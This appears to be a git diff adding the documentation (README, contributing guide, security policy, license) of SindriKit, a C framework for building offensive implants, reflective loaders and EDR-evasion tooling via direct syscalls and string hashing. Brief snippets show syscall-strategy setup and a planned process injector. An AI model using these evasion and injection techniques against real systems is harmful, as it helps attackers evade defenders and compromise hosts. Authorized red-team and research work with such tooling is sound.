`SND_HASH_ALGO`. +3. Use the generated constants (e.g., `SND_HASH_NTDLL_DLL`, `SND_HASH_NTALLOCATEVIRTUALMEMORY`) in your code. + +### 4. Zero Footprint (`SILENT` Tier) +> [!CAUTION] +> **No plaintext strings. No standard I/O.** +> When compiled via `build.bat` (which defaults to `SND_ENABLE_DEBUG=OFF`), the compiled binary must have **zero** framework-related `.rdata` string artifacts. +- Do **not** use standard C library printing functions (`printf`) or Win32 debug APIs (`OutputDebugString`) directly. +- **Always** use the `SND_DEBUG_PRINT` macro, which safely compiles to nothing in production tiers. +- PRs that leak strings into the `SILENT` tier build will be instantly rejected. + +### 5. Custom Assembly (MASM) +SindriKit utilizes custom MASM for FFI (`ffi_x64.asm`, `ffi_x86.asm`), cascading syscall resolution, and Heaven's Gate. If your feature requires low-level execution logic: +- You must provide both x86 and x64 implementations. +- You must adhere strictly to the respective calling conventions (e.g., 16-byte stack alignment and shadow space for Microsoft x64). + +## Code Style & Warnings + +> [!IMPORTANT] +> The build system enforces `/W4` and `/WX` (Warnings as Errors) on MSVC. + +- **C Standard**: C99 (`c_std_99`). +- Your code must compile **warning-free**. Pay extremely close attention to implicit truncations, signed/unsigned mismatches, padding anomalies, and pointer-size differences between 32-bit and 64-bit compilation. + +## Testing Guidelines + +SindriKit is a broad framework encompassing multiple offensive domains. While tests are **not strictly required** for every contribution, if you are adding a highly complex technique or a new parser, it is strongly encouraged to include a dedicated `tests` directory. + +If your contribution requires rigorous validation, you can look to the existing PE loader's testing methodology (`tests/loader/`) as a structural example of how to build robust tests: + +- **Declarative Execution Matrices**: Defining test specifications that automatically expand across architectures (`x86`/`x64`) and execution mechanics (e.g., testing both `winapi` and `nowinapi` profiles). +- **Dynamic Fuzzing & Mutation**: Programmatically altering inputs (as seen in `pe_mutator.py`) to simulate edge cases and ensure your implementation handles structural corruption without crashing. +- **External Corpuses & Architecture Guards**: Integrating external test suites (like Corkami) and explicitly guarding against execution mismatches. + +While not all domains (e.g., simple memory primitives, injection techniques, or syscall strategies) require this level of stress testing, ensuring stability is a core tenet of the framework. + +To execute the existing framework tests, you must first build the required binaries, then run the Python test harness: + +1. **Build the Binaries**: The test suite requires the loader executables (source in `pocs/`) and the test payloads (source in `tests/loader/src/`). Passing the `tests` flag to the build script automatically compiles both the test payloads and the required PoC loaders. + ```cmd + build.bat tests + ``` +2. **Run the Matrix**: Execute the Python test runner to launch the testing matrix. + ```cmd + python tests/loader/test_runner.py --mutate --corkami + ``` + +## Pull Request Process + +1. Fork the repo and create a feature branch. +2. Implement your feature, adhering to the architecture. +3. If adding a new capability, update the corresponding markdown documentation in `docs/`. +4. Run `build.bat tests pocs` to ensure both x86 and x64 builds complete successfully and all tests pass. +5. **Squash your commits** into logical, atomic units before submitting. +6. Submit a PR outlining the objective, the approach, and validating its OpSec profile. diff --git a/LICENSE b/LICENSE new file mode 100755 index 0000000..650d3e0 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 charfeddine youssef + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..fc2031e --- /dev/null +++ b/README.md @@ -0,0 +1,233 @@ +

+ +

+ +

SindriKit

+ +

+ The infrastructure offensive development never had.
+ A foundational C library for building operationally credible offensive capabilities. +

+ +

+ + + + +

+ +--- + +## What SindriKit Actually Is + +**SindriKit is not an implementation. It is the architecture underneath implementations.** + +Most offensive libraries give you parts. A syscall wrapper. A reflective loader. A process injector. Useful individually, incompatible by default, and you inherit the task of rewriting them from scratch every time an EDR changes its mind. + +The real problem is that offensive tools couple two things that should never be coupled: the logic of a technique and the mechanics of its execution. Your loader doesn't just load a PE image. It loads a PE image *using VirtualAlloc, LoadLibrary... or whatever Win32 calls you hardcoded months ago*. When that gets flagged, you rewrite. The target changes. You rewrite again. You are not fighting the problem. You are fighting your own architecture. + +SindriKit applies a single fix to that problem at the design level: **any offensive technique is expressed as a context structure that consumes injected API tables**. The execution mechanics (e.g. Win32, direct syscall, driver-backed, anything an operator defines) are resolved at runtime through those tables, completely invisible to the technique's logic. + +The consequence is immediate: swapping your entire execution strategy from Win32-visible to raw direct-syscall becomes one line of code without having to rewrite your entire toolchain. The technique never knew the difference. + +--- + +## What You Get + +| | What it means | +|---|---| +| **One mental model** | Every domain ships with the same context + API table contract, standardized across each and every technique. | +| **Zero rewrite cycle** | Swap functions pointers to shift your entire execution profile. The technique never changes. | +| **Zero integration friction** | One `add_subdirectory` and `target_link_libraries` to inherit the full engine. | +| **Zero production overhead** | Silent tier compiles away every diagnostic string, file reference, and line number. | + +--- + +## 60-Second Drop-In + +```cmake +cmake_minimum_required(VERSION 3.16) +project(MyTool C ASM_MASM) + +set(SND_BUILD_PAYLOADS OFF CACHE BOOL "") +set(SND_ENABLE_DEBUG OFF CACHE BOOL "") +set(SND_HASH_ALGO "DJB2" CACHE STRING "") +set(SND_RANDOMIZE_SEED ON CACHE BOOL "") + +add_subdirectory(libs/SindriKit) + +add_executable(my_tool src/main.c) +target_link_libraries(my_tool PRIVATE sindri::engine) +``` + +```sh +cmake -B build && cmake --build build --config Release +``` + +Just two lines for your tool to inherit all of SindriKit's capabilities: PE parsing, syscall resolution, reflective loading... + +--- + +## The Engine + +### API Abstraction Layer + +``` + ┌────────────────────────────────────────────────────────────────────────────┐ + │ ANY OFFENSIVE INTENT │ + │ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │ + ├────────────────────────────────────────────────────────────────────────────┤ + │ SINDRIKIT API ABSTRACTION LAYER │ + │ snd_memory_api_t -> alloc · free · protect │ + │ snd_module_api_t -> load_library · get_proc_address · ... │ + │ [ future tables ] -> thread · process · object · ... │ + ├──────────────────┬──────────────────────┬──────────────────────────────────┤ + │ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │ + │ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │ + │ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │ + └──────────────────┴──────────────────────┴──────────────────────────────────┘ +``` + +In practice, this means every domain follows the same contract: + +```c +// Reflective Loader +snd_loader_ctx_t loader = {0}; +loader.raw_source = &payload; +loader.mem_api = &snd_mem_native; +loader.mod_api = &snd_mod_native; +snd_prepare_reflective_image(&loader); +snd_execute_reflective_image(&loader); + +// Remote Injector (planned) +snd_injector_ctx_t injector = {0}; +injector.mem_api = &snd_mem_native; +injector.target_pid = 1337; +snd_execute_injection(&injector); + +// ETW Patcher, Stack Spoofer, Credential Harvester... Same contract, always. +``` + +### Cascading Syscall Pipeline + +No single extraction technique works everywhere. The hook architecture inside an EDR is not what you'll find in another. Hell's Gate for example works until it doesn't. + +SindriKit treats syscall resolution as an injectable mechanic. Stack strategies in priority order. The engine falls through until one succeeds: + +```c +snd_set_syscall_strategy(snd_hell_extract_syscall); +snd_add_syscall_strategy(snd_halo_extract_syscall); +snd_add_syscall_strategy(snd_veles_extract_syscall); +snd_add_syscall_strategy(any_other_technique_you_want); +``` + +### Compile-Time Algorithm Agility + +Every API name and module string is stripped from the final binary at compile time. Swap hashing algorithms across the entire codebase with a single CMake variable: + +```cmake +set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically +set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure +``` + +Each hash is embedded alongside a randomly generated seed (if `SND_RANDOMIZE_SEED=ON`). Static footprint shifts completely between compilations without touching a line of C. + +### Architecture-Aware Dynamic FFI + +A custom MASM assembly bridge for arbitrary runtime function invocation. x64 builds follow the Microsoft x64 calling convention precisely (shadow space, register argument placement, stack alignment). x86 builds push arguments in reverse order with support for both `cdecl` and `stdcall` targets. + +### Bounds-Checked PE Parser + +A unified PE32/PE32+ parser with a critical `is_mapped` flag that correctly handles both raw on-disk images and memory-mapped views. Every data directory access is validated against tracked buffer bounds before dereferencing. Export resolution supports forwarder chains up to depth 4 with hash-based lookup. + +Tested against inputs that actually break naive parsers: +- 40+ core test combinations targeting edge-case EXEs, DLLs, bad arguments, missing exports, and TLS callbacks across x86 and x64. +- 100+ dynamic PE mutations generated by the `pe_mutator` module: zeroed section names, integer overflows, invalid `e_lfanew` bounds, mangled imports. +- Full Corkami corpus: cleanly loads valid samples, cleanly rejects malformed ones With no crashes across 99% of the samples. + +### State-Tracked Domain Contexts + +Every offensive operation is managed through a discrete context structure with an explicit stage enumeration. Operations can be paused between stages for sleep obfuscation or staged deployment, resumed cleanly, and inspected for the exact failure point down to the subsystem and reason. + +--- + +## The API Design Philosophy + +> **A context structure owns the operation's state. Injected API tables own the execution mechanics. The two are completely separate.** + +Bootstrap the execution subsystem once: + +```c +PVOID clean_ntdll = NULL; +snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &clean_ntdll); +snd_set_ntdll(clean_ntdll); + +snd_set_syscall_strategy(snd_hell_extract_syscall); +snd_add_syscall_strategy(snd_halo_extract_syscall); +``` + +One line to change your entire execution strategy: + +```c +// Win32 profile +const snd_memory_api_t *mem_api = &snd_mem_win; + +// Native profile. Everything above this line stays identical +const snd_memory_api_t *mem_api = &snd_mem_native; +``` + +`snd_module_api_t` follows the same contract. `mod_api->get_proc_address` resolves to `GetProcAddress` under `snd_mod_win` and to manual EAT parsing over PEB-walked module bases under `snd_mod_native`. The operator's algorithm never changes regardless of which profile is active. + +--- + +## Build Tiers + +### Debug Tier — `SND_ENABLE_DEBUG=ON` + +For local development. `snd_status_t` expands to include `file`, `line`, and a 128-byte `context` string buffer. `SND_ERR_CTX` and `SND_DEBUG_PRINT` emit state machine transitions, parsed PE field values, and syscall resolution outcomes. Use `SND_USE_PRINTF=ON` to route output to `stdout` instead of the debug console. + +### Silent Tier — `SND_ENABLE_DEBUG=OFF` + +The only acceptable configuration for any binary destined for a target environment. Every diagnostic string, file reference, and line number compiles away completely. `snd_status_t` collapses to two integers. Nothing else. + +```cmake +set(SND_ENABLE_DEBUG OFF CACHE BOOL "") +set(SND_BUILD_PAYLOADS OFF CACHE BOOL "") +set(SND_RANDOMIZE_SEED ON CACHE BOOL "") +set(SND_HASH_ALGO "DJB2" CACHE STRING "") +add_subdirectory(vendor/SindriKit) +target_link_libraries(my_tool PRIVATE sindri::engine) +``` + +--- + +## Documentation + +- **[Getting Started](docs/getting_started/)** — Installation, CMake integration, and bootstrapping the engine. +- **[Core Architecture](docs/architecture/)** — The design philosophy, state machines, dependency injection. +- **[Domain: Primitives](docs/domains/primitives/)** — Direct syscall pipelines (Hell's Gate / Halo's Gate etc). +- **[Domain: Loaders](docs/domains/loaders/)** — The staged reflective PE loading pipeline and KnownDlls bootstrapping. +- **[Parsers](docs/parsers/)** — Bounds-checked PE32/PE32+ parsing: exports, imports, relocations. +- **[Infrastructure](docs/common/)** — Common API definitions, configuration, and hash manifests. +- **[Tooling & Tests](docs/tests/)** — Test runner, PE mutator, and Python scripts. +- **[Examples & PoCs](docs/examples/)** — Step-by-step walkthroughs of `loader_winapi` and `loader_nowinapi`. + +*Planned: **[Injection](docs/domains/injection/)** and **[Evasion](docs/domains/evasion/)** domains.* + +--- + +## Disclaimer + +**SindriKit is built for educational, research, and authorized Red Teaming purposes only.** For the full legal disclaimer and information regarding OpSec considerations, see the [Security Policy](SECURITY.md). + +--- + +## License + +[MIT](LICENSE) + +--- + +

+ +

diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..928b1fa --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,44 @@ +# Security Policy + +SindriKit is a foundational C library designed exclusively for building offensive security capabilities (implants, loaders, evasion tooling). As such, the definition of a "security vulnerability" differs fundamentally from traditional software projects. + +Vulnerabilities in SindriKit are evaluated strictly through the lens of **Operational Security (OpSec)** and **Implant Stability**. + +## Legal Disclaimer + +**SindriKit is built for educational, research, and authorized Red Teaming purposes only.** +The authors and contributors assume no liability and are not responsible for any misuse, damage, or illegal actions caused by utilizing this toolkit. By using SindriKit, you agree to abide by all applicable local, state, and federal laws. + +## Pre-Compiled Binaries + +For operational security (OpSec) reasons, **no pre-compiled binaries are provided** in GitHub Releases or anywhere else in this repository. Distributing raw executables facilitates trivial signature generation by automated defensive scanners. All operators must compile the framework and Proof-of-Concept loaders from source. + +## Scope of Vulnerabilities + +I consider the following to be legitimate security vulnerabilities within the scope of SindriKit: + +- **OpSec Regressions (SILENT Tier):** + If the framework is compiled in the production `SILENT` tier (`SND_ENABLE_DEBUG=OFF`), and it unintentionally leaks framework strings, debug artifacts, plaintext API names, or internal error contexts into the final compiled binary (`.rdata` or `.data`), this is a critical OpSec vulnerability. Operators rely on the `SILENT` tier to produce zero-footprint payloads. + +- **Memory Corruption & Stability:** + Buffer overflows, out-of-bounds reads/writes in the custom PE parser, or unhandled null pointer dereferences that lead to the crashing of an implant or host process. Implants must be rock-solid; arbitrary crashes generate highly visible process crash dumps and defensive telemetry that instantly burn an operation. + +## Out of Scope + +The following are **NOT** considered vulnerabilities: + +- **AV/EDR Detections:** SindriKit provides the architecture and low-level evasion primitives; it does not guarantee evasion out-of-the-box against all modern telemetry. If an AV/EDR vendor authors a behavioral signature against a provided PoC loader, that is an implementation detection, not a framework vulnerability. +- **Issues in the DEBUG Tier:** The `DEBUG` tier (`SND_ENABLE_DEBUG=ON`) is explicitly designed to be verbose, string-heavy, and noisy for local development. OpSec failures and string artifacts in this tier are expected and intentional. +- **Operator Error:** Misconfiguration of the Dependency Injection (DI) layers, providing invalid architecture targets, or failure to properly bootstrap the execution primitives (e.g., forgetting to configure the `ntdll` base before calling resolvers). + +## Reporting a Vulnerability + +**Please do not report OpSec or stability vulnerabilities via public GitHub issues.** + +If you discover a vulnerability that fits the critical criteria above, please report it by: +1. Opening a **GitHub Security Advisory** draft on this repository. You can do this by navigating to the **Security** tab, selecting **Advisories**, and clicking **Report a vulnerability**, or by going directly to [this link](https://github.com/youssefnoob003/SindriKit/security/advisories/new). +2. Including detailed steps to reproduce the issue. +3. Specifying your exact build configuration (e.g., specific CMake variables used, MSVC compiler version, target architecture x86/x64, and whether `SND_CRTLESS` was active). +4. If reporting an OpSec string leak, please attach the relevant reverse engineering artifacts (such as `strings` output, hex dumps, or a Compiler Explorer link proving the leak). + +I will review the advisory and work with you to patch the framework securely while minimizing operational exposure. diff --git a/assets/banner.png b/assets/banner.png new file mode 100644 index 0000000000000000000000000000000000000000..d5d01d0c4bba9a0ed63e9eb8ee5526cc7f697356 GIT binary patch literal 35818 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 